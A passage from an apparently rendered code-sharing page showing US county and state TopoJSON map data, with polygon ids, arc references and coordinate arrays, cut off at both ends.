&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/12768d82017fb435c62c90649d9071d8">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30]